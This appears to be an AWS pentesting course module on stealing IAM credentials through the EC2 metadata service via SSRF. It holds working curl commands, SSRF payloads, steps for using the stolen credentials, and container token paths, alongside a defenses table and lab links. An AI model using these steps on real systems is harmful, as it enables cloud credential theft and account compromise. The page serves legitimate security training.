> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/03-ec2-ssrf.md).
# Module 03 โ EC2 Metadata Service & SSRF Attacks
## ๐ฏ What You'll Learn
* What the EC2 Instance Metadata Service (IMDS) is
* How SSRF vulnerabilities lead to credential theft
* How to exploit IMDSv1 vs IMDSv2
* How to use stolen instance credentials to pivot
***
## ๐ Theory
Every EC2 instance has access to a **local metadata endpoint** at:
```
http://169.254.169.254
```
This endpoint exposes:
* Instance details (AMI, region, instance ID)
* IAM role credentials (Access Key, Secret, Session Token)
* User data (often contains secrets passed at launch)
**IMDSv1** (vulnerable): No authentication, any process on the instance can access it โ including via SSRF.
**IMDSv2** (patched): Requires a PUT request to get a session token first. Harder to exploit via SSRF.
***
## ๐ Phase 1 โ Enumerate Metadata (Direct Access)
If you have shell access to an EC2 instance:
```bash
# What instance is this?
curl http://169.254.169.254/latest/meta-data/
# Get instance ID
curl http://169.254.169.254/latest/meta-data/instance-id
# Get region
curl http://169.254.169.254/latest/meta-data/placement/region
# What IAM role is attached?
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Get the actual credentials (replace ROLE-NAME with the output above)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Get user-data (often has bootstrap secrets)
curl http://169.254.169.254/latest/user-data
```
The credentials endpoint returns:
```json
{
"Code" : "Success",
"LastUpdated" : "2024-01-01T00:00:00Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA...",
"SecretAccessKey" : "xxxx...",
"Token" : "IQoJ...",
"Expiration" : "2024-01-01T06:00:00Z"
}
```
***
## ๐ฅ Phase 2 โ SSRF Exploitation
### What is SSRF?
Server-Side Request Forgery: you trick a web server into making a request to an internal URL โ like the metadata endpoint.
### Testing for SSRF
```
# Look for parameters that fetch URLs:
?url=https://example.com
?image=https://cdn.example.com/pic.jpg
?redirect=https://example.com
?proxy=https://api.example.com
# Try pointing them at the metadata endpoint:
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
### SSRF via common vulnerabilities
**PDF generators:**
```
# Submit a form that creates a PDF โ inject metadata URL in content
```
**Image fetchers:**
```
https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/
```
**Webhooks:**
```
# Point a webhook callback to your Burp collaborator, then try SSRF
```
***
## ๐ฅ Phase 3 โ IMDSv2 Bypass Attempts
IMDSv2 requires a token:
```bash
# Get token (requires PUT)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# Use token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
**SSRF bypass for IMDSv2:** Some SSRF contexts support custom headers โ if you can set `X-aws-ec2-metadata-token-ttl-seconds`, you may still exploit it. Most basic SSRF can't do this, which is why IMDSv2 is a strong defense.
***
## ๐ Phase 4 โ Use Stolen Credentials
Once you have the keys:
```bash
# Configure the stolen credentials
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=xxxx...
export AWS_SESSION_TOKEN=IQoJ...
# Check identity
aws sts get-caller-identity
# Enumerate what this role can do
python3 enumerate-iam.py \
--access-key $AWS_ACCESS_KEY_ID \
--secret-key $AWS_SECRET_ACCESS_KEY \
--session-token $AWS_SESSION_TOKEN \
--region us-east-1
# Try common actions
aws s3 ls
aws ec2 describe-instances
aws iam list-roles
aws secretsmanager list-secrets
```
***
## ๐ Phase 5 โ Check for EKS/Container Metadata
```bash
# ECS task metadata
curl http://169.254.170.2/v2/credentials/
# EKS pod identity (newer)
# Check the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env variable
curl "http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}"
# Kubernetes service account token (may have OIDC access to AWS)
cat /var/run/secrets/kubernetes.io/serviceaccount/token
```
***
## ๐ก๏ธ Defenses
| Attack | Defense |
| ----------------------------- | --------------------------------------------------- |
| IMDSv1 SSRF | Enforce IMDSv2 on all instances |
| Metadata access from SSRF | Block 169.254.169.254 in WAF/network rules |
| Overprivileged instance roles | Use least-privilege IAM roles per instance |
| Long-lived instance creds | Credentials rotate automatically; monitor for usage |
***
## ๐งช Practice Lab
* [flaws.cloud Level 5](http://level5-d2891f604d2d8afe3130acfaa89-flaws.cloud) โ SSRF via proxy
* CloudGoat: `ec2_ssrf`
```bash
./cloudgoat.py create ec2_ssrf
```
***
## ๐ References
* [HackTricks SSRF AWS](https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-ec2-attack)
* [PortSwigger SSRF](https://portswigger.net/web-security/ssrf)
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